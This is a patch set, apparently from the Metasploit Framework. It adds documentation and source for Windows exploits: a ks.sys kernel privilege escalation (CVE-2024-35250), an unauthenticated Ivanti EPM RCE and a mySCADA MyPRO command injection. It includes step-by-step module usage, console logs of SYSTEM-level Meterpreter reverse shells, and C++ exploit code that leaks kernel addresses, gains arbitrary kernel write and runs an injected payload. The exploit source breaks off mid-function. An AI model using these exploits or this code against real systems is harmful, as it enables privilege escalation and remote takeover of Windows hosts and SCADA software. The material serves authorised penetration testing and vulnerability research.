NMATUvqAxFW2bU5bnhvFf860BfFrj8DGMqtSXS81RbmxjifXo9sJCe1KM7933cIY +[*] Sending stage (3045380 bytes) to 192.168.1.16 +[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 192.168.1.16:46212) at 2024-11-21 22:37:00 +0100 + +meterpreter > sysinfo +Computer : 192.168.1.16 +OS : Ubuntu 18.04 (Linux 5.4.0-150-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/windows/local/cve_2024_35250_ks_driver.md b/documentation/modules/exploit/windows/local/cve_2024_35250_ks_driver.md new file mode 100644 index 000000000000..8773054e66a3 --- /dev/null +++ b/documentation/modules/exploit/windows/local/cve_2024_35250_ks_driver.md @@ -0,0 +1,188 @@ +## Vulnerable Application +The ks.sys driver on Windows is one of the core components of Kernel Streaming and is installed by default. There exists +an Access Mode Mismatch LPE in this driver which can be exploited on some of the latest versions of Windows including: +- Windows 11 22H2, +- Windows 10 22H2 +- Windows 10 1607 +- Windows Server 2022 +- Windows Server 2016 + +### About the Bug Class +Access Mode Mismatch bugs in the Windows kernel center around the PreviousMode member of the `KTHREAD` structure. Every +thread has a previous access mode associated with it. The PreviousMode is set to UserMode(1) if a user operates on a +device or file through Nt* System Service Call, indicating that the System Service call is from the user. The PreviousMode +is set to KernelMode(2) if for example a device driver invoking the Zw* System Service Call. + +RequestorMode is a similar field in the I/O Request Packet (IRP) which indicates if the original request came from +KernelMode or UserMode. This commonly used field is typically derived from PreviousMode. + +### About the Vulnerability +An application can use `IOCTL_KS_PROPERTY` to get or set properties, or to determine the properties supported by a KS +object. An application passes `IOCTL_KS_PROPERTY` to the `ks!KsSynchronousIoControlDevice` with a few parameters: +Major Code, Input Buffer, Input Buffer Length, Output Buffer, Output Buffer Length and Status Code. To improve +efficiency in `IOCTL_KS_PROPERTY` of Kernel Streaming, the requests `KSPROPERTY_TYPE_SERIALIZESET` and +`KSPROPERTY_TYPE_UNSERIALIZESET` are provided to allow users to operate on multiple properties in a single call. + +The vulnerability stems from the driver's use of the function `ks!KsSynchronousIoControlDevice`. There are multiple calls +to this function throughout the driver which incorrectly hard code the RequestorMode parameter value KernelMode. The +vulnerable function `ks!KsSynchronousIoControlDevice` can be invoked by issuing a `KSPROPERTY_TYPE_UNSERIALIZESET` request +in which user controlled parameters are handled with KernelMode privileges specifically when the property is set to +`KSPROPSETID_DrmAudioStream`. This provides a primitive that allows users to perform arbitrary `IOCTL_KS_PROPERTY` +operations. + +To achieve EoP with this primitive first kCFG must be bypassed. By using the legitimate function `RtlSetAllBits` from +ntoskrnl.exe, the arbitrary `IOCTL_KS_PROPERTY` operation can be turned into a arbitrary write primitive which can be used +to achieve EoP by whatever typical method the user prefers. This module uses the write primitive to replace the +current process token with a system token. Abusing token privileges is also an option. + +### Setup + +Install Windows 10 22H2 (before 10.0.19045.4529) on any HyperVisor other than Hyper-V. Hyper-V does not have an audio +device by default, causing the exploit to fail. + +## Verification Steps + +1. Start msfconsole +1. Get a user level session on an affected Windows machine +1. Do: `use windows/local/cve_2024_35250_ks_driver` +1. Set the `LHOST`, `LPORT`, and `SESSION` options +1. Run the module +1. Receive a session running in the context of the `NT AUTHORITY\SYSTEM` user. + +## Scenarios +### Windows 10 22H2 (10.0 Build 19045) +``` +msf6 exploit(windows/local/cve_2024_35250_ks_driver) > rexploit +[*] Reloading module... + +[*] Started reverse TCP handler on 192.168.123.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows 10+ Build 19045 +[*] Launching notepad to host the exploit... +[*] The notepad path is: C:\Windows\System32\notepad.exe +[*] The notepad pid is: 1012 +[*] Reflectively injecting the DLL into 1012... +[*] Sending stage (201798 bytes) to 192.168.123.236 +[*] Meterpreter session 3 opened (192.168.123.1:5555 -> 192.168.123.236:49676) at 2024-11-04 09:47:50 -0800 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : DESKTOP-0OPTL76 +OS : Windows 10 (10.0 Build 19045). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +``` + +### Windows 10 1607 (10.0 Build 14393) +``` +msf6 exploit(windows/local/cve_2024_35250_ks_driver) > run + +[*] Started reverse TCP handler on 192.168.123.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows 10+ Build 14393 +[*] Launching notepad to host the exploit... +[*] The notepad path is: C:\Windows\System32\notepad.exe +[*] The notepad pid is: 4272 +[*] Reflectively injecting the DLL into 4272... +[*] Sending stage (201798 bytes) to 192.168.123.240 +[*] Meterpreter session 5 opened (192.168.123.1:5555 -> 192.168.123.240:49675) at 2024-11-05 10:19:30 -0800 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : DESKTOP-4A5TFR5 +OS : Windows 10 (10.0 Build 14393). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > +``` + +### Windows 11 22H2 (10.0 Build 22621) +``` +msf6 exploit(windows/local/cve_2024_35250_ks_driver) > run + +[*] Started reverse TCP handler on 192.168.123.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows 10+ Build 22621 +[*] Launching notepad to host the exploit... +[*] The notepad path is: C:\Windows\System32\notepad.exe +[*] The notepad pid is: 6948 +[*] Reflectively injecting the DLL into 6948... +[*] Sending stage (201798 bytes) to 192.168.123.1 +[*] Meterpreter session 7 opened (192.168.123.1:5555 -> 192.168.123.1:52543) at 2024-11-04 11:22:59 -0800 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : MSFDEVICE +OS : Windows 11 (10.0 Build 22621). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > +``` + +### Windows Server 2022 (10.0 Build 20348) +``` +msf6 exploit(windows/local/cve_2024_35250_ks_driver) > rexploit +[*] Reloading module... + +[*] Started reverse TCP handler on 172.16.199.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2016+ Build 20348 +[*] Launching notepad to host the exploit... +[*] The notepad path is: C:\Windows\System32\notepad.exe +[*] The notepad pid is: 7336 +[*] Reflectively injecting the DLL into 7336... +[*] Sending stage (201798 bytes) to 172.16.199.132 +[*] Meterpreter session 3 opened (172.16.199.1:5555 -> 172.16.199.132:49977) at 2024-11-05 10:03:36 -0800 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-LBHI5KSJDU4 +OS : Windows Server 2022 (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +meterpreter > +``` + +### Windows Server 2016 (10.0 Build 14393) +``` +msf6 exploit(windows/local/cve_2024_35250_ks_driver) > run + +[*] Started reverse TCP handler on 172.16.199.1:5555 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2016+ Build 14393 +[*] Launching notepad to host the exploit... +[*] The notepad path is: C:\Windows\System32\notepad.exe +[*] The notepad pid is: 316 +[*] Reflectively injecting the DLL into 316... +[*] Sending stage (201798 bytes) to 172.16.199.135 +[*] Meterpreter session 7 opened (172.16.199.1:5555 -> 172.16.199.135:49691) at 2024-11-05 13:48:17 -0800 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-4DS9S9C0JSC +OS : Windows Server 2016 (10.0 Build 14393). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +meterpreter > +``` + diff --git a/documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md b/documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md new file mode 100644 index 000000000000..90640eae84da --- /dev/null +++ b/documentation/modules/exploit/windows/misc/ivanti_agent_portal_cmdexec.md @@ -0,0 +1,47 @@ +## Vulnerable Application +This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method +which will run an attacker-specified string on the remote target as NT AUTHORITY\SYSTEM. +This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2. + +## Verification Steps + +1. Install the application +1. Determine which port the vulnerable AgentPortal service is listening on. It has a non-static value. + 1. The port used by the AgentPortal service can be found in the registry at `HKLM\SOFTWARE\LANDesk\SharedComponents\LANDeskAgentPortal` + 1. Or you could scan for it and probe the high ports (testing suggests it should be in the 49000 - 50000 range). +1. Start msfconsole +1. Do: `use exploit/windows/misc/ivanti_agent_portal_cmdexec` +1. Set the `RPORT`, `PAYLOAD` and any payload-related options +1. Run the module + +## Options + +## Scenarios + +### Ivanti 2021.1 / 11.0.4.733 on Windows Server 2022 x64 + +``` +metasploit-framework.pr (S:3 J:0) exploit(windows/misc/ivanti_agent_portal_cmdexec) > run + +[*] Powershell command length: 4205 +[*] Started reverse TCP handler on 192.168.159.128:4444 +[*] 192.168.159.130:49673 - Running automatic check ("set AutoCheck false" to disable) +[*] 192.168.159.130:49673 - Connected to the remote end point +[+] 192.168.159.130:49673 - The target is vulnerable. +[*] Sending stage (176198 bytes) to 192.168.159.130 +[*] Meterpreter session 11 opened (192.168.159.128:4444 -> 192.168.159.130:53627) at 2024-10-28 17:15:09 -0400 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-NJ6DUF1OCAM +OS : Windows Server 2022 (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +meterpreter > pwd +C:\Windows\system32 +meterpreter > +``` diff --git a/documentation/modules/exploit/windows/mssql/mssql_clr_payload.md b/documentation/modules/exploit/windows/mssql/mssql_clr_payload.md index 0de853aa5800..8d752ed0b2a7 100644 --- a/documentation/modules/exploit/windows/mssql/mssql_clr_payload.md +++ b/documentation/modules/exploit/windows/mssql/mssql_clr_payload.md @@ -1,6 +1,7 @@ ## Introduction -This module is based on the work that was done by @leechristensen and @sekirkity as documented [here](http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/). +This module is based on the work that was done by @leechristensen and @sekirkity as +documented [here](https://web.archive.org/web/20200810021536/http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/). ## Prerequisites diff --git a/documentation/modules/exploit/windows/scada/mypro_mgr_cmd.md b/documentation/modules/exploit/windows/scada/mypro_mgr_cmd.md new file mode 100644 index 000000000000..e14fe387e5fc --- /dev/null +++ b/documentation/modules/exploit/windows/scada/mypro_mgr_cmd.md @@ -0,0 +1,61 @@ +## Vulnerable Application + +**Vulnerability Description** + +This module exploits a command injection vulnerability in mySCADA MyPRO Manager <= v1.2 (CVE-2024-47407). + +An unauthenticated remote attacker can exploit this vulnerability to inject arbitrary OS commands, which will get executed in the context of +`myscada9`, an administrative user that is automatically added by the product during installation. + +Versions <= 1.2 are affected. CISA published [ICSA-24-326-07](https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07) to cover +the security issues. The official changelog from the vendor for the updated version is available +[here](https://www.myscada.org/docs/5-11-2024/). + +**Vulnerable Application Installation** + +A trial version of the software can be obtained from [the vendor](https://www.myscada.org/mypro/). + +**Successfully tested on** + +- mySCADA MyPRO Manager 1.2 on Windows 11 (10.0 Build 22621) + +## Verification Steps + +1. Install the application +2. After installation, reboot the system and wait some time until a runtime (e.g., 9.2.1) has been fetched and installed. +3. Start `msfconsole` and run the following commands: + +``` +msf6 > use exploit/windows/scada/mypro_mgr_cmd +msf6 exploit(windows/scada/mypro_mgr_cmd) > set RHOSTS +msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit +``` + +You should get a meterpreter session in the context of `myscada9`. + +## Scenarios + +Running the exploit against MyPRO Manager v1.2 on Windows 11, using curl as a fetch command, should result in an output similar to the +following: + +``` +msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit + +[*] Started reverse TCP handler on 192.168.1.227:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] Sending stage (201798 bytes) to 192.168.1.228 +[*] Meterpreter session 1 opened (192.168.1.227:4444 -> 192.168.1.228:50472) at 2025-01-29 12:38:39 -0500 +[*] Exploit finished, check thy shell. + +meterpreter > getuid +Server username: asdf\myscada9 +meterpreter > sysinfo +Computer : asdf +OS : Windows 11 (10.0 Build 22621). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 3 +Meterpreter : x64/windows +``` diff --git a/external/source/exploits/CVE-2024-35250/CVE-2024-35250.sln b/external/source/exploits/CVE-2024-35250/CVE-2024-35250.sln new file mode 100644 index 000000000000..f342da1c920c --- /dev/null +++ b/external/source/exploits/CVE-2024-35250/CVE-2024-35250.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.9.34728.123 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2024-35250", "CVE-2024-35250.vcxproj", "{28C2C0C9-40D4-4DD1-818E-6CC688517DE1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Debug|x64.ActiveCfg = Debug|x64 + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Debug|x64.Build.0 = Debug|x64 + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Debug|x86.ActiveCfg = Debug|Win32 + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Debug|x86.Build.0 = Debug|Win32 + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Release|x64.ActiveCfg = Release|x64 + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Release|x64.Build.0 = Release|x64 + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Release|x86.ActiveCfg = Release|Win32 + {28C2C0C9-40D4-4DD1-818E-6CC688517DE1}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {F516170D-E947-4648-8440-505E807D5DDD} + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/CVE-2024-35250/CVE-2024-35250.vcxproj b/external/source/exploits/CVE-2024-35250/CVE-2024-35250.vcxproj new file mode 100644 index 000000000000..a9e21b1768f3 --- /dev/null +++ b/external/source/exploits/CVE-2024-35250/CVE-2024-35250.vcxproj @@ -0,0 +1,237 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {28c2c0c9-40d4-4dd1-818e-6cc688517de1} + Win32Proj + CVE_2024_35250 + 10.0 + + + + DynamicLibrary + true + v142 + MultiByte + + + DynamicLibrary + false + v142 + false + MultiByte + + + DynamicLibrary + true + v142 + MultiByte + + + DynamicLibrary + false + v143 + false + MultiByte + + + + + + + + + + + + + + + + + + + + + true + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + + + true + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + + + false + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + false + + + false + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + false + + + + NotUsing + Level3 + true + WIN32;_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories) + ProgramDatabase + true + OnlyExplicitInline + true + MultiThreaded + false + + + Windows + true + false + true + $(OutDir)$(TargetName).pdb + $(OutDir)$(TargetName).map + false + $(OutDir)$(ProjectName).lib + %(AdditionalLibraryDirectories) + + + + + TurnOffAllWarnings + false + _DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + false + stdafx.h + C:\Users\msfuser\Documents\git\metasploit-framework\external\source\include\windows\;C:\Users\msfuser\Documents\git\metasploit-framework\external\source\exploits\CVE-2024-35250\CVE-2024-35250\;..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories) + ProgramDatabase + false + OnlyExplicitInline + true + MultiThreadedDLL + false + + + Windows + true + false + true + $(OutDir)$(TargetName).pdb + $(OutDir)$(TargetName).map + false + $(OutDir)$(ProjectName).lib + %(AdditionalLibraryDirectories) + + + + + NotUsing + Level3 + false + false + + + WIN32;NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories) + true + OnlyExplicitInline + true + MultiThreaded + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + + + Windows + true + true + false + false + %(AdditionalLibraryDirectories) + false + $(OutDir)$(TargetName).map + $(OutDir)$(TargetName).pdb + false + $(OutDir)$(ProjectName).lib + + + + + NotUsing + Level3 + false + false + + + NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + false + stdafx.h + C:\users\msfuser\Documents\git\metasploit-framework\external\source\include\windows;..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;%(AdditionalIncludeDirectories) + false + OnlyExplicitInline + true + MultiThreaded + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Default + + + Windows + true + true + false + false + %(AdditionalLibraryDirectories) + false + $(OutDir)$(TargetName).map + $(OutDir)$(TargetName).pdb + false + $(OutDir)$(ProjectName).lib + MultiplyDefinedSymbolOnly + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2024-35250/dllmain.c b/external/source/exploits/CVE-2024-35250/dllmain.c new file mode 100644 index 000000000000..3f6d9ac612ed --- /dev/null +++ b/external/source/exploits/CVE-2024-35250/dllmain.c @@ -0,0 +1,44 @@ +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +#include "ReflectiveLoader.c" +#include "common.h" + +#ifdef __cplusplus +extern "C" { +#endif + + int Exploit(PMSF_PAYLOAD lpReserved); + +#ifdef __cplusplus +} +#endif + +void main(PMSF_PAYLOAD lpReserved) { + Exploit(lpReserved); + return; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + PMSF_PAYLOAD payload = (PMSF_PAYLOAD)lpReserved; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE*)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + main(payload); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return TRUE; +} diff --git a/external/source/exploits/CVE-2024-35250/exploit.cpp b/external/source/exploits/CVE-2024-35250/exploit.cpp new file mode 100644 index 000000000000..12da24d305e2 --- /dev/null +++ b/external/source/exploits/CVE-2024-35250/exploit.cpp @@ -0,0 +1,413 @@ +/* + PoC Info +-------------------------------------------------------------- +Vulnerability: CVE-2024-35250 +Tested environment: Windows 11 22h2 Build 22621 + Windows 10 20h2 Build 19042 + Windows 10 1607 Build 14393 + Windows Server 2022 Build 20348 + Windows Server 2019 Build 17763 + Windows Server 2016 Build 14393 + VMWare Fusion Professional Version 13.6.0 +Author: varwara (edited by jheysel for metasploit compatibility) +Weakness: CWE-822: Untrusted Pointer Dereference +Known limitations: Didn't work in Hyper-V environments +Required privileges: Medium IL +-------------------------------------------------------------- +*/ +#define __STREAMS__ +#define _INC_MMREG +#define _PREVIOUS_MODE 0xbaba + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "exploit.h" +#include "common.h" +#include + +#pragma comment(lib, "Ksproxy.lib") +#pragma comment(lib, "ksuser.lib") +#pragma comment(lib, "ntdll.lib") +#pragma comment(lib, "ntdllp.lib") +#pragma comment(lib, "SetupAPI.lib") +#pragma comment(lib, "Advapi32.lib") + +const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL; +fNtQuerySystemInformation NtQuerySystemInfo = NULL; +fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL; + +// +// Get the kernel object pointer for the specific process by it's handle +// +int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle) + +{ + int32_t Ret = -1; + PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0; + ULONG ulBytes = 0; + NTSTATUS Status = STATUS_SUCCESS; + + + + // + // Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH + // + while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L) + { + if (pHandleInfo != NULL) + { + pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes); + } + + else + { + pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes); + } + } + + if (Status != NULL) + { + Ret = Status; + goto done; + } + + for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) + { + if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle)) + { + *ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object; + Ret = 0; + break; + } + } + + +done: + if (pHandleInfo != NULL) + { + HeapFree(GetProcessHeap(), 0, pHandleInfo); + } + return Ret; +} + +// +// ALlocate fake bitmap for arbitrary r/w operations +// +void* AllocateBitmap(SIZE_T size, LPVOID baseAddress) { + + LPVOID allocatedMemory = VirtualAlloc(baseAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + if (allocatedMemory == NULL) + { + return NULL; + } + + return allocatedMemory; +} + +UINT_PTR GetKernelModuleAddress(const char* TargetModule) +{ + NTSTATUS status; + ULONG ulBytes = 0; + PSYSTEM_MODULE_INFORMATION handleTableInfo = NULL; + + while ((status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) + { + if (handleTableInfo != NULL) + { + handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes); + } + + else + { + handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes); + } + } + + if (status == 0) + { + for (ULONG i = 0; i < handleTableInfo->ModulesCount; i++) + { + char* moduleName = strstr(handleTableInfo->Modules[i].Name, TargetModule); + if (moduleName != NULL) + { + return (UINT_PTR)handleTableInfo->Modules[i].ImageBaseAddress; + } + } + } + else + { + if (handleTableInfo != NULL) + { + HeapFree(GetProcessHeap(), 0, handleTableInfo); + return 0; + } + } + + HeapFree(GetProcessHeap(), 0, handleTableInfo); + + return 0; +} + +DWORD64 leak_gadget_address(LPCSTR GadgetName) +{ + DWORD64 module_base_kernel, rtlSetAllBits_address; + HMODULE module_base_user; + + module_base_user = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); + if (!module_base_user) + goto error; + + rtlSetAllBits_address = (DWORD64)GetProcAddress(module_base_user, GadgetName); + if (!rtlSetAllBits_address) { + goto error; + } + module_base_kernel = GetKernelModuleAddress("ntoskrnl.exe"); + rtlSetAllBits_address = module_base_kernel + (rtlSetAllBits_address - (DWORD64)module_base_user); + + return rtlSetAllBits_address; +error: + return FALSE; +} + +// +// A wrapper to make arbitrary writes to the whole system memory address space +// +NTSTATUS Write64(void* Dst, void* Src, size_t Size) +{ + NTSTATUS Status = 0; + PULONG cbNumOfBytesWrite = 0; + + Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, cbNumOfBytesWrite); + if (!NT_SUCCESS(Status)) + { + return -1; + } + return Status; +} + +void ExecutePayload(PMSF_PAYLOAD pMsfPayload) { + if (!pMsfPayload) + return; + PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!pPayload) + return; + CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize); + CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL); +} + +static BOOL ResolveRequirements(DWORD dwMajor, DWORD dwMinor, DWORD dwBuild) { + + dwBuild = LOWORD(dwBuild); + if ((dwMajor == 10) && (dwMinor == 0)) { + if ((dwBuild >= 14393) && (dwBuild <= 19045)) { + if ((dwBuild < 15063)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v1607; + } + else if ((dwBuild < 16299)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v1703; + } + else if ((dwBuild < 17134)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v1709; + } + else if ((dwBuild < 17763)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v1803; + } + else if ((dwBuild < 18362)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v1809; + } + else if ((dwBuild < 19041)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v1903; + } + else if ((dwBuild < 19043)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v2004; + } + else if ((dwBuild == 19044)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v21H2; + } + else if ((dwBuild == 19045)) { + g_pEprocessOffsets = &EprocessOffsetsWin10v21H2; + } + } + else if (dwBuild == 22000) { + g_pEprocessOffsets = &EprocessOffsetsWin11v21H2; + } + else if (dwBuild == 20348) { + g_pEprocessOffsets = &EprocessOffsetsWinServer2022; + } + else if (dwBuild == 22621) { + g_pEprocessOffsets = &EprocessOffsetsWin11v22H2; + } + } + else { + return FALSE; + } + return TRUE; +} + + +extern "C" int Exploit(PMSF_PAYLOAD pMsfPayload) +{ + HRESULT hr; + HANDLE hDrmDevice = NULL; + UCHAR InBuffer[sizeof(KSPROPERTY) + sizeof(EXPLOIT_DATA2)] = { 0 }; + KSPROPERTY* pInBufProperty = (KSPROPERTY*)InBuffer; + EXPLOIT_DATA2* pInBufPropertyData = (EXPLOIT_DATA2*)(pInBufProperty + 1); + + UCHAR UnserializePropertySetRequest[sizeof(KSPROPERTY_SERIALHDR) + sizeof(KSPROPERTY_SERIAL) + sizeof(EXPLOIT_DATA1)] = { 0 }; + + KSPROPERTY_SERIALHDR* pSerialHdr = (KSPROPERTY_SERIALHDR*)UnserializePropertySetRequest; + PKSPROPERTY_SERIAL pSerial = (KSPROPERTY_SERIAL*)(pSerialHdr + 1); + EXPLOIT_DATA1* pOutBufPropertyData = (EXPLOIT_DATA1*)(pSerial + 1); + + BOOL res = FALSE; + NTSTATUS status = 0; + + uint32_t Ret = 0; + + const GUID categories[] = { + KSCATEGORY_DRM_DESCRAMBLE, + }; + + // + // Get a KS object device with ksproxy.ax API + // + for (int i = 0; i < sizeof(categories) / sizeof(categories[0]); i++) + { + hr = KsOpenDefaultDevice(categories[i], GENERIC_READ | GENERIC_WRITE, &hDrmDevice); + + if (hr != NOERROR) { + return -1; + } + + } + + uint64_t Sysproc = 0; + uint64_t Curproc = 0; + uint64_t Curthread = 0; + + HANDLE hCurproc = 0; + HANDLE hThread = 0; + + // + // Leak System _EPROCESS kernel address + // + Ret = GetObjPtr(&Sysproc, 4, (HANDLE)4); + if (Ret != NULL) + { + return Ret; + } + + // + // Leak Current _KTHREAD kernel address + // + hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId()); + if (hThread != NULL) + { + Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread); + if 